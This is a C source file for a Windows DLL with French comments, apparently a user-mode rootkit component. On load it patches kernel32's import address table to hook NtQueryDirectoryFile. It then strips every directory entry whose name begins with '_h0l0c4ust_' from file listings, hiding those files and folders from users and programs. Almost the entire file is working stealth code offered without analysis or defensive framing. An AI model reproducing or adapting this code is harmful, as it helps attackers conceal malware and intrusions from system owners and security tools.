#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define STATUS_SUCCESS 0x00000000L  // J'ai trouvé sa dans ntstatu.h.

/* structures */

typedef LONG NTSTATUS, *PNTSTATUS;

typedef struct _IO_STATUS_BLOCK {
    union {
        LONG Status;
        PVOID Pointer;
    };
    ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef VOID (NTAPI *PIO_APC_ROUTINE)
(
    IN PVOID            ApcContext,
    IN PIO_STATUS_BLOCK IoStatusBlock,
    IN ULONG            Reserved
);

typedef enum _FILE_INFORMATION_CLASS {
  FileDirectoryInformation = 1,
  FileFullDirectoryInformation,
  FileBothDirectoryInformation,
  FileBasicInformation,
  FileStandardInformation,
  FileInternalInformation,
  FileEaInformation,
  FileAccessInformation,
  FileNameInformation,
  FileRenameInformation,
  FileLinkInformation,
  FileNamesInformation,
  FileDispositionInformation,
  FilePositionInformation,
  FileFullEaInformation,
  FileModeInformation,
  FileAlignmentInformation,
  FileAllInformation,
  FileAllocationInformation,
  FileEndOfFileInformation,
  FileAlternateNameInformation,
  FileStreamInformation,
  FilePipeInformation,
  FilePipeLocalInformation,
  FilePipeRemoteInformation,
  FileMailslotQueryInformation,
  FileMailslotSetInformation,
  FileCompressionInformation,
  FileObjectIdInformation,
  FileCompletionInformation,
  FileMoveClusterInformation,
  FileQuotaInformation,
  FileReparsePointInformation,
  FileNetworkOpenInformation,
  FileAttributeTagInformation,
  FileTrackingInformation,
  FileIdBothDirectoryInformation,
  FileIdFullDirectoryInformation,
  FileValidDataLengthInformation,
  FileShortNameInformation,
  FileMaximumInformation
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;

typedef struct _FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
WCHAR FileName[1];
} FILE_FULL_DIRECTORY_INFORMATION, *PFILE_FULL_DIRECTORY_INFORMATION;

typedef struct _FILE_BOTH_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
UCHAR AlternateNameLength;
WCHAR AlternateName[12];
WCHAR FileName[1];
} FILE_BOTH_DIRECTORY_INFORMATION, *PFILE_BOTH_DIRECTORY_INFORMATION;

typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

/*eof structures*/

/* Define nos fonctions*/
typedef (__stdcall *NTQUERY)( HANDLE,HANDLE,PIO_APC_ROUTINE,PVOID,PIO_STATUS_BLOCK,PVOID,ULONG,FILE_INFORMATION_CLASS,BOOLEAN,PUNICODE_STRING,BOOLEAN);
PDWORD RetourneAddressFunctionAHook(char* FonctionAHook);
void PoseHookIAT(char* FonctionAHook , LPDWORD NouvelleAddrFunct);
NTSTATUS __stdcall myNtQueryDirectoryFile
(
		HANDLE FileHandle,
		HANDLE Event,
		PIO_APC_ROUTINE ApcRoutine,
		PVOID ApcContext,
		PIO_STATUS_BLOCK IoStatusBlock,
		PVOID FileInformation,
		ULONG FileInformationLength,
		FILE_INFORMATION_CLASS FileInformationClass,
		BOOLEAN ReturnSingleEntry,
		PUNICODE_STRING FileName,
		BOOLEAN RestartScan
);
int DossierAvecPrefixe(char* prefix , long taille ,char* nomDossier);
/* eof function */


BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) // Point d'entré dll -> http://msdn2.microsoft.com/en-us/library/ms682583.aspx.
{
    if(dwReason == DLL_PROCESS_ATTACH)
    {
        PoseHookIAT("NtQueryDirectoryFile" ,(LPDWORD)myNtQueryDirectoryFile);
    }
    return TRUE;
}


NTQUERY pNtQueryDirectoryFile ;

NTSTATUS __stdcall myNtQueryDirectoryFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,PVOID FileInformation,ULONG FileInformationLength,FILE_INFORMATION_CLASS FileInformationClass,BOOLEAN ReturnSingleEntry,PUNICODE_STRING FileName,BOOLEAN RestartScan)
{

    char *hideMe = "_h0l0c4ust_" , nomDossierC[MAX_PATH];

    NTSTATUS retour = pNtQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,FileInformation,FileInformationLength,FileInformationClass,ReturnSingleEntry,FileName,RestartScan);
    if( (retour == STATUS_SUCCESS) &&
        ((FileInformationClass == FileDirectoryInformation) ||
        (FileInformationClass == FileFullDirectoryInformation) ||
        (FileInformationClass == FileBothDirectoryInformation) ||
        (FileInformationClass == FileNameInformation))
        )
    {
        //OutputDebugString("Succès de l'appel à la fonction.");
        ULONG nombreLettre , nextOffset = 1 , lastNextOffset = 0;
        PVOID nomDossier = NULL , pointeurStructActuel = FileInformation , pointeurLastStruct = NULL;
        PULONG pointeurAvantNextOffset = NULL ;

        do
        {
            switch(FileInformationClass)
            {
                case FileDirectoryInformation :
                    if(pointeurLastStruct != NULL) // si ce n'est pas la première struct ,on recup un pointeur sur le NextEntryOffset.
                    {
                        pointeurAvantNextOffset = &(((PFILE_DIRECTORY_INFORMATION)pointeurLastStruct)->NextEntryOffset);
                    }
                    nombreLettre = ((PFILE_DIRECTORY_INFORMATION)pointeurStructActuel)->FileNameLength; //On recupère les infos dont on a besoin ,à savoir :,nom du dossier ,NextOffset
                    nomDossier = ((PFILE_DIRECTORY_INFORMATION)pointeurStructActuel)->FileName; //nombres de lettres ,
                    nextOffset = ((PFILE_DIRECTORY_INFORMATION)pointeurStructActuel)->NextEntryOffset; //NextOffset .
                    break;

                case FileFullDirectoryInformation :
                    if(pointeurLastStruct != NULL)
                    {
                        pointeurAvantNextOffset = &(((PFILE_FULL_DIRECTORY_INFORMATION)pointeurLastStruct)->NextEntryOffset);
                    }
                    nombreLettre = ((PFILE_FULL_DIRECTORY_INFORMATION)pointeurStructActuel)->FileNameLength;
                    nomDossier = ((PFILE_FULL_DIRECTORY_INFORMATION)pointeurStructActuel)->FileName;
                    nextOffset = ((PFILE_FULL_DIRECTORY_INFORMATION)pointeurStructActuel)->NextEntryOffset;
                    break;

                case FileBothDirectoryInformation :
                    if(pointeurLastStruct != NULL)
                    {
                        pointeurAvantNextOffset = &(((PFILE_BOTH_DIRECTORY_INFORMATION)pointeurLastStruct)->NextEntryOffset);
                    }
                    nombreLettre = ((PFILE_BOTH_DIRECTORY_INFORMATION)pointeurStructActuel)->FileNameLength;
                    nomDossier = ((PFILE_BOTH_DIRECTORY_INFORMATION)pointeurStructActuel)->FileName;
                    nextOffset = ((PFILE_BOTH_DIRECTORY_INFORMATION)pointeurStructActuel)->NextEntryOffset;
                    break;

                case FileNameInformation :
                    if(pointeurLastStruct != NULL)
                    {
                        pointeurAvantNextOffset = &(((PFILE_NAMES_INFORMATION)pointeurLastStruct)->NextEntryOffset);
                    }
                    nombreLettre = ((PFILE_NAMES_INFORMATION)pointeurStructActuel)->FileNameLength;
                    nomDossier = ((PFILE_NAMES_INFORMATION)pointeurStructActuel)->FileName;
                    nextOffset = ((PFILE_NAMES_INFORMATION)pointeurStructActuel)->NextEntryOffset;
                    break;
            }
            memset(nomDossierC,'\0',sizeof(nomDossierC));
            WideCharToMultiByte(CP_ACP, 0, nomDossier, nombreLettre/2, nomDossierC, sizeof(nomDossierC)-1, NULL, NULL);
            //OutputDebugString(nomDossierC);

            if(DossierAvecPrefixe(hideMe,strlen(hideMe),nomDossierC))
            {
                //OutputDebugString("HIDE DU FICHIER");
                memset(nomDossierC,'\0',sizeof(nomDossierC));
                if( nextOffset == 0) //Si c'est la dernière struct ,on modifie le NextOffset à 0 ,on gruge alors la dernière struct :).
                {
                    *pointeurAvantNextOffset = 0;
                    break;
                }
                else if(pointeurLastStruct == NULL  ) //Si c'est la première struct ,on décalle directement toutes les structs.
                {
                    CopyMemory(pointeurStructActuel,(PULONG)((ULONG)pointeurStructActuel + nextOffset),FileInformationLength);
                }
                else //Sinon ,cas plutot général : on modifie le NextOffset de la struct précédente par rapport à l'actuel ,pour la faire pointer vers la prochaine encore une fois par rapport à l'actuel.
                {
                    lastNextOffset = lastNextOffset + nextOffset;
                    *pointeurAvantNextOffset = lastNextOffset;
                    pointeurStructActuel = (PVOID)((ULONG)pointeurStructActuel + nextOffset);
                }
            }
            else // si rien nous interesse on sauvegarde les pointeurs et co ,et on passe à la suivante.
            {
                lastNextOffset = nextOffset;
                pointeurLastStruct = pointeurStructActuel;
                pointeurStructActuel = (PVOID)((ULONG)pointeurStructActuel + nextOffset);
            }
            memset(nomDossierC,'\0',sizeof(nomDossierC));
        }while(nextOffset != 0);
    }
    return retour;
}


void PoseHookIAT(char* FonctionAHook , LPDWORD NouvelleAddrFunct)
{
    LPDWORD addrFunctAHook = RetourneAddressFunctionAHook(FonctionAHook);
    DWORD accessProtectionValue , accessProtec;

    pNtQueryDirectoryFile = (NTQUERY)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtQueryDirectoryFile");

    int vProtect = VirtualProtect(addrFunctAHook,sizeof(LPDWORD),PAGE_EXECUTE_READWRITE,&accessProtectionValue);
    *addrFunctAHook = (DWORD)NouvelleAddrFunct;
    vProtect = VirtualProtect(addrFunctAHook,sizeof(LPDWORD),accessProtectionValue,&accessProtec);
}

LPDWORD RetourneAddressFunctionAHook(char* FonctionAHook)
{
    HANDLE hdlExecutable = GetModuleHandle("kernel32.dll");
    if(hdlExecutable == NULL)return 0;
    PIMAGE_DOS_HEADER structPe = (PIMAGE_DOS_HEADER)hdlExecutable;
    if(structPe->e_magic != IMAGE_DOS_SIGNATURE)return 0;

    PIMAGE_NT_HEADERS structHeaderPe = (PIMAGE_NT_HEADERS)(structPe->e_lfanew + (DWORD)structPe);
    PVOID ptrImgDirecto = (PVOID)structHeaderPe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
    PIMAGE_IMPORT_DESCRIPTOR ptrImportDesc =  (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)ptrImgDirecto + (DWORD)structPe);

    while( (*(PDWORD)ptrImportDesc) != 0)
    {
        PIMAGE_THUNK_DATA32 imgThunk = (PIMAGE_THUNK_DATA32)(ptrImportDesc->OriginalFirstThunk + (DWORD)structPe);
        PIMAGE_THUNK_DATA32 structAddrFu = (PIMAGE_THUNK_DATA32)(ptrImportDesc->FirstThunk + (DWORD)structPe);
        while(*(PDWORD)imgThunk != 0)
        {
            PIMAGE_IMPORT_BY_NAME nameImg = (PIMAGE_IMPORT_BY_NAME)(imgThunk->u1.AddressOfData + (DWORD)structPe);
            if(!strcmp((PCHAR)nameImg->Name,FonctionAHook))
            {
                return &(structAddrFu->u1.Function);
            }
            imgThunk++;
            structAddrFu++;
        }
        ptrImportDesc++;
    }
    return 0;
}

int DossierAvecPrefixe(char* prefix , long taille ,char* nomDossier)
{
    int i;
    for( i = 0 ; i < taille ; i++)
    {
        if(nomDossier[i] != prefix[i])
        {
            return 0;
        }
    }
    return 1;
}